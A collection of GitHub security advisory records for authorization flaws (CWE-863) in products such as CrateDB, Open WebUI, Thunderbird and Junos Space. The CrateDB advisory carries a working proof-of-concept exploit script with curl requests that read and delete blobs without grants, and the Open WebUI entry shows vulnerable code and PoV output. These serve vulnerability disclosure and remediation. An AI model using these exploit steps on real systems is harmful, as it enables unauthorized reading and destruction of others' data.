CWE-863

{
  "affected": [],
  "aliases": [
    "CVE-2017-2305"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-05-30T14:29:00Z",
    "severity": "HIGH"
  },
  "details": "On Juniper Networks Junos Space versions prior to 16.1R1, due to an insufficient authorization check, readonly users on the Junos Space administrative web interface can create privileged users, allowing privilege escalation.",
  "id": "GHSA-2xcj-24q6-g2ch",
  "modified": "2022-05-13T01:44:44Z",
  "published": "2022-05-13T01:44:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-2305"
    },
    {
      "type": "WEB",
      "url": "https://kb.juniper.net/JSA10770"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/98759"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-22938"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-30T01:16:00Z",
    "severity": "HIGH"
  },
  "details": "Insecure Permissions vulnerability in BossCMS v.1.3.0 allows a local attacker to execute arbitrary code and escalate privileges via the init function in admin.class.php component.",
  "id": "GHSA-2xh7-8hvj-mrr7",
  "modified": "2025-05-29T15:31:03Z",
  "published": "2024-01-30T03:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22938"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n0Sleeper/bosscmsVuln/issues/1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n0Sleeper/bosscmsVuln"
    },
    {
      "type": "WEB",
      "url": "https://www.bosscms.net"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-3032"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-610",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-22T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "When receiving an HTML email that contained an \u003ccode\u003eiframe\u003c/code\u003e element, which used a \u003ccode\u003esrcdoc\u003c/code\u003e attribute to define the inner HTML document, remote objects specified in the nested document, for example images or videos, were not blocked. Rather, the network was accessed, the objects were loaded and displayed. This vulnerability affects Thunderbird \u003c 102.2.1 and Thunderbird \u003c 91.13.1.",
  "id": "GHSA-2xmh-3jxc-r2w6",
  "modified": "2023-01-03T21:30:20Z",
  "published": "2022-12-22T21:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3032"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1783831"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2022-38"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2022-39"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-28723"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-06T00:16:13Z",
    "severity": "MODERATE"
  },
  "details": "Unauthorized report deletion due to insufficient access control. The following products are affected: Acronis Cyber Protect 17 (Linux, Windows) before build 41186.",
  "id": "GHSA-2xpv-2vp6-3v7h",
  "modified": "2026-03-06T00:31:35Z",
  "published": "2026-03-06T00:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28723"
    },
    {
      "type": "WEB",
      "url": "https://security-advisory.acronis.com/advisories/SEC-8486"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.crate:crate"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.2.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.crate:crate"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.3.0"
            },
            {
              "fixed": "6.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49989"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-01T19:55:07Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "**Component:** `io.crate.protocols.http.HttpBlobHandler`\n**Affected:** verified against CrateDB 6.2.7 (latest at time of report; the bug has existed since the blob HTTP handler was introduced)\n**Impact:** any authenticated user can read or delete any blob whose SHA-1 digest they know, and can plant new blobs unconditionally, in any blob table, regardless of `GRANT`s.\n\n---\n\n## Summary\n\nCrateDB has two ways to access blob storage: SQL (`SELECT ... FROM blob.\u003ctable\u003e` and friends) and the blob HTTP API (`GET|PUT|DELETE /_blobs/{table}/{digest}`). The SQL path goes through `AccessControl`, which is what enforces privilege grants; that\u0027s why `SELECT digest FROM blob.secret_blobs` fails for a user who has no grants on the table.\n\nThe HTTP path authenticates the request but never asks `AccessControl` whether the authenticated user is allowed to touch the table. So a user with no grants gets `MissingPrivilegeException` from SQL and `200 OK` plus the blob bytes from `GET /_blobs/secret_blobs/\u003cdigest\u003e`.\n\n## Where it lives\n\n`server/src/main/java/io/crate/protocols/http/HttpBlobHandler.java`. The dispatcher:\n\n```java\n// HttpBlobHandler.java:176\nprivate void handleBlobRequest(@Nullable HttpContent content) throws IOException {\n    if (possibleRedirect(index, digest)) {\n        return;\n    }\n\n    if (method.equals(HttpMethod.GET)) {\n        get(index, digest);\n        reset();\n    } else if (method.equals(HttpMethod.HEAD)) {\n        head(index, digest);\n    } else if (method.equals(HttpMethod.PUT)) {\n        put(content, index, digest);\n    } else if (method.equals(HttpMethod.DELETE)) {\n        delete(index, digest);\n    } else {\n        simpleResponse(HttpResponseStatus.METHOD_NOT_ALLOWED);\n    }\n}\n```\n\nNo `AccessControl` reference, no privilege check. Each branch goes straight to the relevant blob op (`get`/`head`/`put`/`delete`); for example:\n\n```java\n// HttpBlobHandler.java:287\nprivate void get(String index, final String digest) throws IOException {\n    if (range != null) {\n        partialContentResponse(index, digest);\n    } else {\n        fullContentResponse(index, digest);\n    }\n}\n```\n\n`grep -n \u0027AccessControl\\|ensureMaySee\\|checkPermission\u0027 HttpBlobHandler.java` returns nothing.\n\nThe APIs that should be called here, used by the SQL path before every statement is dispatched:\n\n- `server/src/main/java/io/crate/auth/AccessControl.java` (interface, declares `ensureMayExecute(...)` and `ensureMaySee(...)`)\n- `server/src/main/java/io/crate/auth/AccessControlImpl.java:133` (concrete impl)\n\n## Threat model\n\nUnconditional in code, gated in practice by digest knowledge; CrateDB has no enumeration channel. `HEAD /_blobs/\u003ctable\u003e/\u003cdigest\u003e` is the existence oracle; candidate digests may come from side channels such as app metadata, logs, known-file probes.\n\n| Capability | Needs digest? | Impact |\n|---|---|---|\n| Read or delete a blob | yes | High when digests leak, nil otherwise |\n| Plant new blobs (PUT) | no | Storage pollution; SHA-1 check blocks forging under a victim\u0027s digest |\n\nDigest secrecy is not a documented security boundary.\n\n## Reproduction\n\nEnd-to-end Docker PoC. Two users, one blob, both ingress paths exercised side by side.\n\n`./run.sh` brings up a CrateDB container with HBA enabled, creates an `admin` (with `ALL PRIVILEGES`) and an `unprivileged` user (with no grants), uploads a blob as admin, then runs six steps:\n\n1. Admin uploads a blob via `PUT /_blobs/...`. Success (201).\n2. Admin reads via SQL. Success.\n3. **Unprivileged user reads via SQL.** Denied (correct, this is what we want).\n4. **Unprivileged user reads via `GET /_blobs/...`.** `200 OK` plus the blob payload (the bug).\n5. **Unprivileged user deletes via `DELETE /_blobs/...`.** `204 No Content` (the bug, again).\n6. Admin re-checks via SQL. Confirms the blob is gone, deleted by a user with zero grants.\n\nSample output from a real run:\n\n```\n=== Step 3: Unprivileged user CANNOT read via SQL (expected) ===\n[PASS] Unprivileged user correctly denied SQL access\n[INFO] Server response: ERROR:  Schema \u0027blob\u0027 unknown ...\n\n=== Step 4: BUG -- Unprivileged user CAN read blob via HTTP ===\n[FAIL] Unprivileged user READ the blob via HTTP (HTTP 200) -- AUTHORIZATION BYPASS\n[INFO] Retrieved content: TOP SECRET: this data should only be accessible to admin\n\n=== Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE ===\n[FAIL] Unprivileged user DELETED the blob via HTTP (HTTP 204) -- AUTHORIZATION BYPASS\n```\n\n### PoC files\n\n\u003cdetails\u003e\n\u003csummary\u003e\u003ccode\u003edocker-compose.yml\u003c/code\u003e\u003c/summary\u003e\n\n```yaml\nservices:\n  cratedb:\n    image: crate:6.2.7\n    ports:\n      - \"4200:4200\"\n      - \"5432:5432\"\n    command: \u003e\n      crate\n      -Cnetwork.host=0.0.0.0\n      -Cdiscovery.type=single-node\n      -Cauth.host_based.enabled=true\n      -Cauth.host_based.config.0.user=crate\n      -Cauth.host_based.config.0.method=trust\n      -Cauth.host_based.config.99.method=password\n      -Cblobs.path=/data/blobs\n    environment:\n      - CRATE_HEAP_SIZE=512m\n    healthcheck:\n      test: [\"CMD-SHELL\", \"curl -sf http://localhost:4200/ || exit 1\"]\n      interval: 5s\n      timeout: 5s\n      retries: 12\n```\n\nHBA rule 0 trusts the built-in `crate` superuser so `setup.sql` can bootstrap users; rule 99 forces password auth for everyone else. `network.host=0.0.0.0` overrides the default `_site_` bind, which fails when Docker\u0027s interfaces have no site-local address.\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003e\u003ccode\u003esetup.sql\u003c/code\u003e\u003c/summary\u003e\n\n```sql\n-- Create the blob table\nCREATE BLOB TABLE secret_blobs;\n\n-- Create admin user with full access\nCREATE USER admin WITH (password = \u0027adminpass\u0027);\nGRANT ALL PRIVILEGES ON TABLE blob.secret_blobs TO admin;\n\n-- Create unprivileged user with NO access to the blob table\nCREATE USER unprivileged WITH (password = \u0027unpriv123\u0027);\n-- Intentionally no GRANT for unprivileged user\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003e\u003ccode\u003eexploit.sh\u003c/code\u003e\u003c/summary\u003e\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nCRATE_HTTP=\"http://localhost:4200\"\nBLOB_TABLE=\"secret_blobs\"\nBLOB_CONTENT=\"TOP SECRET: this data should only be accessible to admin\"\n\nRED=\u0027\\033[0;31m\u0027\nGREEN=\u0027\\033[0;32m\u0027\nYELLOW=\u0027\\033[1;33m\u0027\nCYAN=\u0027\\033[0;36m\u0027\nNC=\u0027\\033[0m\u0027\n\nheader() { printf \"\\n${CYAN}=== %s ===${NC}\\n\" \"$1\"; }\npass()   { printf \"${GREEN}[PASS]${NC} %s\\n\" \"$1\"; }\nfail()   { printf \"${RED}[FAIL]${NC} %s\\n\" \"$1\"; }\ninfo()   { printf \"${YELLOW}[INFO]${NC} %s\\n\" \"$1\"; }\n\nsql_as() {\n    local user=\"$1\" pass=\"$2\" query=\"$3\"\n    PGPASSWORD=\"$pass\" psql -h localhost -p 5432 -U \"$user\" -d doc -tAc \"$query\" 2\u003e\u00261\n}\n\n# ---------------------------------------------------------------------------\nheader \"Step 1: Upload a blob as admin via HTTP\"\n# ---------------------------------------------------------------------------\nDIGEST=$(echo -n \"$BLOB_CONTENT\" | sha1sum | awk \u0027{print $1}\u0027)\ninfo \"Blob SHA1 digest: $DIGEST\"\n\nHTTP_CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n    -u admin:adminpass \\\n    -XPUT \"${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}\" \\\n    -d \"$BLOB_CONTENT\")\n\nif [[ \"$HTTP_CODE\" == \"201\" || \"$HTTP_CODE\" == \"409\" ]]; then\n    pass \"Admin uploaded blob via HTTP (HTTP $HTTP_CODE)\"\nelse\n    fail \"Admin blob upload returned HTTP $HTTP_CODE\"\n    exit 1\nfi\n\n# ---------------------------------------------------------------------------\nheader \"Step 2: Admin CAN read blob metadata via SQL (expected)\"\n# ---------------------------------------------------------------------------\nRESULT=$(sql_as admin adminpass \"SELECT digest FROM blob.secret_blobs LIMIT 1\")\nif [[ -n \"$RESULT\" ]]; then\n    pass \"Admin can query blob.secret_blobs via SQL: digest=$RESULT\"\nelse\n    fail \"Admin SQL query returned no results\"\nfi\n\n# ---------------------------------------------------------------------------\nheader \"Step 3: Unprivileged user CANNOT read via SQL (expected)\"\n# ---------------------------------------------------------------------------\nRESULT=$(sql_as unprivileged unpriv123 \"SELECT digest FROM blob.secret_blobs LIMIT 1\" || true)\nif echo \"$RESULT\" | grep -qi \"denied\\|permission\\|unauthorized\\|not authorized\"; then\n    pass \"Unprivileged user correctly denied SQL access\"\n    info \"Server response: $(echo \"$RESULT\" | head -1)\"\nelse\n    fail \"Unprivileged user was NOT denied SQL access (unexpected): $RESULT\"\nfi\n\n# ---------------------------------------------------------------------------\nheader \"Step 4: BUG -- Unprivileged user CAN read blob via HTTP\"\n# ---------------------------------------------------------------------------\nHTTP_CODE=$(curl -s -o /tmp/blob_out -w \"%{http_code}\" \\\n    -u unprivileged:unpriv123 \\\n    \"${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}\")\n\nBODY=$(cat /tmp/blob_out)\n\nif [[ \"$HTTP_CODE\" == \"200\" ]]; then\n    fail \"Unprivileged user READ the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS\"\n    info \"Retrieved content: ${BODY}\"\nelse\n    pass \"Unprivileged user was denied HTTP blob read (HTTP $HTTP_CODE)\"\nfi\n\n# ---------------------------------------------------------------------------\nheader \"Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE\"\n# ---------------------------------------------------------------------------\nHTTP_CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n    -u unprivileged:unpriv123 \\\n    -XDELETE \"${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}\")\n\nif [[ \"$HTTP_CODE\" == \"204\" || \"$HTTP_CODE\" == \"200\" ]]; then\n    fail \"Unprivileged user DELETED the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS\"\nelse\n    pass \"Unprivileged user was denied HTTP blob delete (HTTP $HTTP_CODE)\"\nfi\n\n# ---------------------------------------------------------------------------\nheader \"Step 6: Confirm blob is gone (admin perspective)\"\n# ---------------------------------------------------------------------------\nRESULT=$(sql_as admin adminpass \"SELECT count(*) FROM blob.secret_blobs WHERE digest = \u0027$DIGEST\u0027\")\nif [[ \"$RESULT\" == \"0\" ]]; then\n    fail \"Blob confirmed deleted -- unprivileged user destroyed admin\u0027s data\"\nelse\n    info \"Blob still exists (count=$RESULT)\"\nfi\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003e\u003ccode\u003erun.sh\u003c/code\u003e\u003c/summary\u003e\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\ncd \"$(dirname \"$0\")\"\n\nRED=\u0027\\033[0;31m\u0027\nGREEN=\u0027\\033[0;32m\u0027\nYELLOW=\u0027\\033[1;33m\u0027\nNC=\u0027\\033[0m\u0027\n\ninfo() { printf \"${YELLOW}[INFO]${NC} %s\\n\" \"$1\"; }\n\n# Pick whichever Compose CLI is available (docker compose v2 vs legacy\n# docker-compose binary). Both are common in the wild.\nif docker compose version \u003e/dev/null 2\u003e\u00261; then\n    DC=(docker compose)\nelif command -v docker-compose \u003e/dev/null 2\u003e\u00261; then\n    DC=(docker-compose)\nelse\n    echo \"ERROR: neither \u0027docker compose\u0027 (v2) nor \u0027docker-compose\u0027 (v1) is installed.\" \u003e\u00262\n    exit 2\nfi\n\ncleanup() {\n    info \"Stopping containers...\"\n    \"${DC[@]}\" down -v 2\u003e/dev/null || true\n}\ntrap cleanup EXIT\n\ninfo \"Starting CrateDB with authentication enabled...\"\n\"${DC[@]}\" up -d\n\ninfo \"Waiting for CrateDB to become healthy...\"\nfor i in $(seq 1 60); do\n    if curl -sf http://localhost:4200/ \u003e /dev/null 2\u003e\u00261; then\n        break\n    fi\n    sleep 1\ndone\n\n# Verify CrateDB is actually ready for SQL connections\nfor i in $(seq 1 30); do\n    if PGPASSWORD=\"\" psql -h localhost -p 5432 -U crate -d doc -c \"SELECT 1\" \u003e /dev/null 2\u003e\u00261; then\n        break\n    fi\n    sleep 1\ndone\n\ninfo \"Running setup SQL as superuser (crate)...\"\nPGPASSWORD=\"\" psql -h localhost -p 5432 -U crate -d doc -f setup.sql\n\n# Give CrateDB a moment to propagate user/privilege changes\nsleep 2\n\ninfo \"Running exploit...\"\necho \"\"\nbash exploit.sh\n```\n\n\u003c/details\u003e\n\n## Fixing\n\nPlumb `AccessControl` into `HttpBlobHandler`. Before dispatching the verb at `handleBlobRequest:181`, resolve the connecting role from the channel attribute the auth filter already sets, build an `AccessControlImpl`, and call `ensureHasPrivilege(...)` for the verb. Failures produce `MissingPrivilegeException`, which the existing exception-to-HTTP mapping turns into `403 Forbidden`. SQL and HTTP then share one authorization decision.\n\n| HTTP verb | SQL equivalent | Required privilege on `blob.\u003ctable\u003e` |\n|---|---|---|\n| `GET` / `HEAD` | `SELECT` | `DQL` |\n| `PUT` | `INSERT` / `UPDATE` | `DML` |\n| `DELETE` | `DELETE` | `DML` |\n\nAlternatives I\u0027d avoid: pushing checks down into `BlobService` (every caller has to remember to pass a role) or wrapping the handler in a separate Netty filter (works but separates the check from the action it gates).\n\n## Notes\n\nDeployments that don\u0027t use `BLOB TABLE` are unaffected. Authentication itself still works; the bug is strictly that being authenticated as anyone is treated as sufficient for any blob op.",
  "id": "GHSA-2xv8-gjwh-fv8p",
  "modified": "2026-07-01T19:55:07Z",
  "published": "2026-07-01T19:55:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/crate/crate/security/advisories/GHSA-2xv8-gjwh-fv8p"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/crate/crate"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CrateDB\u0027s Blob HTTP handler bypasses authorization"
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-35368"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-05T18:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "OWASP ModSecurity Core Rule Set 3.1.x before 3.1.2, 3.2.x before 3.2.1, and 3.3.x before 3.3.2 is affected by a Request Body Bypass via a trailing pathname.",
  "id": "GHSA-2xw7-44j9-24rv",
  "modified": "2022-10-26T12:00:37Z",
  "published": "2022-05-24T19:19:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-35368"
    },
    {
      "type": "WEB",
      "url": "https://coreruleset.org/20210630/cve-2021-35368-crs-request-body-bypass"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00033.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6MS5GMNYHFFIBWLJW7N3XAD24SLF3PFZ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IVYUJOKHDEXFTM2CZMEESJ6TZSPVNSSZ"
    },
    {
      "type": "WEB",
      "url": "https://owasp.org/www-project-modsecurity-core-rule-set"
    },
    {
      "type": "WEB",
      "url": "https://portswigger.net/daily-swig/lessons-learned-how-a-severe-vulnerability-in-the-owasp-modsecurity-core-rule-set-sparked-much-needed-change"
    },
    {
      "type": "WEB",
      "url": "https://portswigger.net/daily-swig/waf-bypass-severe-owasp-modsecurity-core-rule-set-bug-was-present-for-several-years"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202305-25"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-22862"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-03-03T04:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An improper access control vulnerability was identified in GitHub Enterprise Server that allowed an authenticated user with the ability to fork a repository to disclose Actions secrets for the parent repository of the fork. This vulnerability existed due to a flaw that allowed the base reference of a pull request to be updated to point to an arbitrary SHA or another pull request outside of the fork repository. By establishing this incorrect reference in a PR, the restrictions that limit the Actions secrets sent a workflow from forks could be bypassed. This vulnerability affected GitHub Enterprise Server version 3.0.0, 3.0.0.rc2, and 3.0.0.rc1. This vulnerability was reported via the GitHub Bug Bounty program.",
  "id": "GHSA-2xwj-g27r-p9cr",
  "modified": "2022-10-25T19:00:35Z",
  "published": "2022-05-24T17:43:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22862"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.0/admin/release-notes#3.0.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.9.6"
            },
            {
              "fixed": "0.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59212"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T20:51:09Z",
    "nvd_published_at": "2026-07-09T17:17:01Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nCurrent `main` and `v0.9.6` still allow an authenticated user to turn read-only access to another user\u0027s file into write/delete access by attaching that file ID to an attacker-controlled workspace model.\n\nThis is an incomplete-fix variant of `GHSA-vjqm-6gcc-62cr`. The current fix adds `_verify_knowledge_file_access()`, but the validator only checks `has_access_to_file(file_id, \"read\", user)`. The file write/delete routes later trust `has_access_to_file(file_id, \"write\", user)`, and that function grants access through any writable model whose `meta.knowledge` contains the file ID.\n\nThe PoV includes a negative control showing the current validator rejects an inaccessible arbitrary file ID. The residual issue is narrower: a file ID that is readable only through a KB read grant is accepted into direct model file metadata, then the same model metadata satisfies later file write/delete checks.\n\n## Technical Details\n\n`backend/open_webui/routers/models.py::_verify_knowledge_file_access()` accepts model `meta.knowledge` file entries when the caller can read the file:\n\n```python\nif not await has_access_to_file(file_id, \u0027read\u0027, user, db=db):\n    raise HTTPException(...)\n```\n\n`backend/open_webui/utils/access_control/files.py::has_access_to_file()` then uses attacker-writable model metadata as a source for any requested access type:\n\n```python\nfor model in await Models.get_models_by_user_id(user.id, permission=access_type, db=db):\n    knowledge_items = getattr(model.meta, \u0027knowledge\u0027, None) or []\n    for item in knowledge_items:\n        if isinstance(item, dict) and item.get(\u0027type\u0027) == \u0027file\u0027 and item.get(\u0027id\u0027) == file.id:\n            return True\n```\n\nFor `access_type=\"write\"`, the attacker-owned model satisfies the model query, so the victim file becomes writable even though the attacker only had read access through the KB grant.\n\nThis crosses another user\u0027s integrity and availability boundary, not just the attacker\u0027s own account. Before model metadata is involved, the attacker can read the file through a KB grant but cannot write it. After the model metadata entry is accepted, the same file becomes writable/deletable.\n\nThe official docs distinguish attached knowledge permissions: knowledge-base collections may use explicit read grants, while individual files are owner/admin-only. This issue lets a read grant to a KB become direct write/delete authority over an individual file.\n\nThis is also consistent with the documented RBAC model: resource grants have separate `read` and `write` permissions, where write means the user can update or delete the resource. The exploit starts from a read-only KB grant and reaches file write/delete without a corresponding file owner/admin/write authorization.\n\nThe required Models workspace access is not root-equivalent in Open WebUI\u0027s documentation. The policy\u0027s root-equivalent warning applies to Tools/Functions code execution. This report does not use Tools/Functions, custom Python, admin actions, or a legacy-only path.\n\n## Impact\n\nAn authenticated non-admin user with Models workspace access and read-only access to a victim file through a knowledge-base grant can create/import/update a model that references the file, then rename, overwrite, or delete the victim user\u0027s file through write-gated file routes.\n\nConfirmed sinks in current head:\n\n- `POST /api/v1/files/{id}/rename`\n- `POST /api/v1/files/{id}/data/content/update`\n- `DELETE /api/v1/files/{id}`\n\nSuggested severity: High.\n\nSuggested CVSS:\n\n```text\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H\n```\n\nSuggested CWE:\n\n```text\nCWE-863: Incorrect Authorization\n```\n\nI am not claiming Critical severity because the attacker must be authenticated, must have Models workspace access, and must already have read-only access to the victim file through a KB grant. The High score is based on the post-condition: that limited read access becomes destructive cross-user file write/delete.\n\n## Appendix: AI Disclosure\n\n## Appendix: Local PoV\n\nThe PoV is local-only. It does not start a server, send network traffic, or use a real database. It loads and executes the current-head function bodies for:\n\n- `has_access_to_file()`\n- `_verify_knowledge_file_access()`\n- `delete_file_by_id()`\n\nRun from the harness root:\n\n```bash\nuv run python attached-evidence/poc/pov_openwebui_model_file_read_to_write.py\n```\n\nObserved output:\n\n```json\n{\n  \"confirmed\": true,\n  \"control_inaccessible_file_rejected_by_validator\": true,\n  \"control_read_allowed_via_kb_read_grant\": true,\n  \"control_write_allowed_before_model_laundering\": false,\n  \"model_metadata_validator_passed_with_read_only_access\": true,\n  \"write_allowed_after_attacker_owned_model_contains_file\": true,\n  \"delete_route_result\": {\n    \"message\": \"File deleted successfully\"\n  },\n  \"deleted_file_ids\": [\n    \"victim-file\"\n  ]\n}\n```\n\nThis demonstrates expected versus actual behavior:\n\n- Expected: a user with only read access through a KB grant cannot mutate the victim file.\n- Actual: after the read-only file ID is accepted into attacker-owned model metadata, the same user satisfies the file write/delete guard and deletes the victim file.\n\n## Appendix: Remediation\n\nRecommended defense-in-depth fix:\n\n1. In `_verify_knowledge_file_access()`, require direct file ownership or admin for `type: \"file\"` model knowledge entries. Do not accept indirect KB read access as sufficient authority to attach an individual file to a model.\n2. In `has_access_to_file()`, do not let the model `meta.knowledge` branch grant write access to files. Model-attached knowledge should be read-only unless the caller separately owns/administers the underlying file or has an explicit write-capable file authorization path.\n3. Add regression tests covering the KB-read control, the blocked model attach, and rename/update/delete denial for the victim file.",
  "id": "GHSA-2xwm-4h2q-ggfx",
  "modified": "2026-07-24T20:51:09Z",
  "published": "2026-07-24T20:51:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-2xwm-4h2q-ggfx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59212"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/pull/26032"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/commit/17df0264929514599dbcb21c6578bcdfa204b04d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.10.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: Model meta.knowledge read-only file access can be upgraded to file write/delete"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-39454"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-276",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-20T09:16:08Z",
    "severity": "HIGH"
  },
  "details": "SKYSEA Client View and SKYMEC IT Manager provided by Sky Co.,LTD. configure the installation folder with improper file access permission settings. A non-administrative user may manipulate and/or place arbitrary files within the installation folder of the product. As a result, arbitrary code may be executed with the administrative privilege.",
  "id": "GHSA-3224-28wc-whrh",
  "modified": "2026-04-20T09:30:45Z",
  "published": "2026-04-20T09:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39454"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN63376363"
    },
    {
      "type": "WEB",
      "url": "https://www.skyseaclientview.net/news/260420_01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
